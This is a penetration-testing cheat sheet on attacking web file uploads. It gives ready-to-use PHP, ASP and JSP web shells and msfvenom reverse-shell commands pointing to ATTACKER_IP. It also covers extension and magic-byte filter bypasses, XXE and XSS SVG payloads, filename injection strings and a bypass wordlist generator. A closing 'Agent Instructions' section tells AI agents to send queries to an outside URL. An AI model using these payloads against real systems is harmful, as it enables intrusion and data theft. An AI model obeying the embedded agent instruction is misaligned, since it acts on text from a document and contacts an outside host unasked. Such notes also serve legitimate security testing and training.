# File Upload Attacks

## Identify Web Framework

```bash
# Check for index page extensions
http://TARGET/index.php
http://TARGET/index.asp
http://TARGET/index.aspx
http://TARGET/index.jsp

# Use Wappalyzer browser extension
# Or fingerprint with curl
curl -I http://TARGET/
```

***

## Web Shells

### PHP

```php
<?php system($_REQUEST['cmd']); ?>
```

```bash
# Usage
http://TARGET/uploads/shell.php?cmd=id
```

### ASP

```asp
<% eval request('cmd') %>
```

### JSP

```jsp
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
```

### Location of Pre-made Shells

```bash
/usr/share/webshells/
/usr/share/seclists/Web-Shells/
```

***

## Reverse Shells

### PHP (pentestmonkey)

```bash
# Download and edit IP/PORT
wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php

# Start listener
nc -lvnp 4444

# Upload and visit shell
```

### Rails Active Storage

Rails Active Storage upload links often appear under `/rails/active_storage/blobs/.../filename.ext`. If the app renders an uploaded profile image or attachment, view the page source and follow the blob URL.

```
/rails/active_storage/blobs/SIGNED_ID--SIGNATURE/poc.rb
```

If code files are accepted but downloaded instead of executed, treat the upload as a read/storage primitive rather than immediate RCE. Still test whether the uploaded file is rendered in an unsafe context, whether metadata is processed, and whether the blob URL leaks in debug pages or user profile HTML.

### Generate with msfvenom

```bash
# PHP
msfvenom -p php/reverse_php LHOST=ATTACKER_IP LPORT=4444 -f raw > shell.php

# ASP
msfvenom -p windows/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f asp > shell.asp

# JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f raw > shell.jsp

# WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f war > shell.war
```

***

## Bypass Client-Side Validation

### Burp Intercept Method

1. Upload valid image, capture request in Burp
2. Change `filename="image.jpg"` to `filename="shell.php"`
3. Replace file content with web shell
4. Forward request

### Disable JavaScript

1. Open DevTools (F12)
2. Find validation function in source
3. Delete `onchange="checkFile(this)"` from input element
4. Upload shell directly

***

## Bypass Extension Blacklist

### Fuzz for Allowed Extensions

```bash
# PHP alternatives
.php, .php2, .php3, .php4, .php5, .php6, .php7, .phps
.pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc
.hphp, .ctp, .module

# ASP alternatives
.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm
.cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml

# JSP alternatives
.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
```

### Burp Intruder Fuzzing

1. Capture upload request
2. Send to Intruder
3. Mark extension as payload position
4. Load PHP extension wordlist
5. Check response length for successful uploads

***

## Bypass Extension Whitelist

### Double Extension

```
shell.jpg.php
shell.png.php
shell.php.jpg
shell.php.png
```

### Reverse Double Extension

If Apache config has: `<FilesMatch ".+\.ph(ar|p|tml)">`

```
shell.php.jpg    # Passes whitelist, Apache executes as PHP
```

### Character Injection

```bash
# Null byte (PHP < 5.5)
shell.php%00.jpg
shell.php%00.png

# URL encoding
shell.php%20
shell.php%0a
shell.php%0d%0a

# Windows
shell.aspx:.jpg
shell.aspx::$DATA

# Other
shell.php/
shell.php.\
shell.php...
```

### Generate Character Injection Wordlist (Bash)

```bash
for char in '%20' '%0a' '%00' '%0d0a' '/' '.\\' '.' '…' ':'; do
    for ext in '.php' '.phps' '.phtml'; do
        echo "shell$char$ext.jpg" >> wordlist.txt
        echo "shell$ext$char.jpg" >> wordlist.txt
        echo "shell.jpg$char$ext" >> wordlist.txt
        echo "shell.jpg$ext$char" >> wordlist.txt
    done
done
```

### Generate Bypass Wordlist (Python)

[file\_upload\_wordlist\_generator.py](https://gist.github.com/ice-wzl/7fa66003ea7d83282880f0efdf17a294)

```python
#!/usr/bin/python3
import argparse

php_ext = [".php", ".php3", ".php4", ".php5", ".php6", ".php7", ".php8",
           ".pht", ".phar", ".phpt", ".pgif", ".phtml", ".phtm", ".php%00"
           ".phps", ".php\\x00", ".inc%"]
special_chars = ["%20", "%0a", "%00", "%0d0a", "/", ".\\", ".", "…", ":"]

def easy_entries(filename: str, known_good: str):
    for ext in php_ext:
        with open("wordlist.txt", "a") as fp:
            fp.write(f"{filename}.{known_good}{ext}\n")
            fp.write(f"{filename}{ext}.{known_good}\n")

def main(args):
    easy_entries(args.filename, args.known_good)
    for char in special_chars:
        for ext in php_ext:
            with open("wordlist.txt", "a") as fp:
                fp.write(f"{args.filename}{char}{ext}.{args.known_good}\n")
                fp.write(f"{args.filename}{ext}{char}.{args.known_good}\n")
                fp.write(f"{args.filename}.{args.known_good}{char}{ext}\n")
                fp.write(f"{args.filename}.{args.known_good}{ext}{char}\n")

if __name__ == '__main__':
    opts = argparse.ArgumentParser(
        description="Generate upload file names for bypassing white and black lists",
        formatter_class=argparse.RawDescriptionHelpFormatter,
    )
    opts.add_argument("-f", "--filename", help="Name of your webshell", required=True, type=str)
    opts.add_argument("-kg", "--known_good", help="Allowed upload extension", required=True, type=str)
    opts.add_argument("-be", "--bypass_extension", help="Extension to bypass", choices=["php"], required=True, type=str)
    args = opts.parse_args()
    main(args)
```

```bash
# Usage
python3 file_upload_wordlist_generator.py -f shell -kg jpg -be php
python3 file_upload_wordlist_generator.py -f myshell -kg gif -be php

# Then use wordlist.txt with Burp Intruder
```

***

## Bypass Content-Type Filter

### Change Content-Type Header

```http
Content-Type: image/jpeg
Content-Type: image/png
Content-Type: image/gif
```

In Burp, change `Content-Type: application/x-php` to `Content-Type: image/jpeg`

***

## Bypass MIME-Type (Magic Bytes)

### Add Magic Bytes to Shell

```bash
# GIF
echo 'GIF8<?php system($_REQUEST["cmd"]); ?>' > shell.php

# PNG (hex)
echo -e '\x89PNG\r\n\x1a\n<?php system($_REQUEST["cmd"]); ?>' > shell.php

# JPEG
echo -e '\xFF\xD8\xFF\xE0<?php system($_REQUEST["cmd"]); ?>' > shell.php
```

### Common Magic Bytes

| File Type | Magic Bytes (Hex) | ASCII  |
| --------- | ----------------- | ------ |
| GIF       | `47 49 46 38`     | `GIF8` |
| PNG       | `89 50 4E 47`     | `.PNG` |
| JPEG      | `FF D8 FF E0`     | N/A    |
| PDF       | `25 50 44 46`     | `%PDF` |
| ZIP       | `50 4B 03 04`     | `PK..` |

***

## SVG Attacks

### XSS via SVG

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="1" height="1">
    <rect x="1" y="1" width="1" height="1" fill="green" stroke="black" />
    <script type="text/javascript">alert(window.origin);</script>
</svg>
```

### XXE via SVG (Read /etc/passwd)

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg>&xxe;</svg>
```

### XXE via SVG (Read Source Code)

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<svg>&xxe;</svg>
```

***

## XSS via Image Metadata

```bash
# Inject XSS in Comment field
exiftool -Comment='"><img src=1 onerror=alert(window.origin)>' image.jpg

# Verify
exiftool image.jpg | grep Comment
```

***

## Filename Injection

### Command Injection

```bash
file$(whoami).jpg
file`whoami`.jpg
file.jpg||whoami
file.jpg;whoami
```

### XSS

```
<script>alert(1)</script>.jpg
```

### SQLi

```
file';select+sleep(5);--.jpg
```

***

## Windows-Specific Attacks

### Reserved Characters

```
shell|.php
shell<.php
shell>.php
shell*.php
shell?.php
```

### Reserved Names

```
CON.php
COM1.php
LPT1.php
NUL.php
```

### 8.3 Filename Convention

```
WEB~1.CON      # May overwrite web.conf
HAC~1.TXT      # References hackthebox.txt
```

***

## Discover Upload Directory

### Fuzzing

```bash
ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt:FUZZ \
     -u http://TARGET/FUZZ -e .php,.asp,.aspx

# Common upload directories
/uploads/
/upload/
/files/
/images/
/attachments/
/media/
/profile_images/
```

### Force Errors

* Upload file with duplicate name
* Upload file with very long name (5000+ chars)
* Send two identical requests simultaneously

***

## Upload Directory Traversal

### Overwrite Files

```
../../../etc/passwd
..\..\..\..\windows\win.ini
....//....//....//etc/passwd
```

***

## Useful Wordlists

```bash
# PHP extensions
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Extension%20PHP/extensions.lst

# ASP extensions
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files/Extension%20ASP

# Web extensions
/usr/share/seclists/Discovery/Web-Content/web-extensions.txt

# Content types
/usr/share/seclists/Discovery/Web-Content/web-all-content-types.txt
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://book.ice-wzl.xyz/web/file-uploads.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
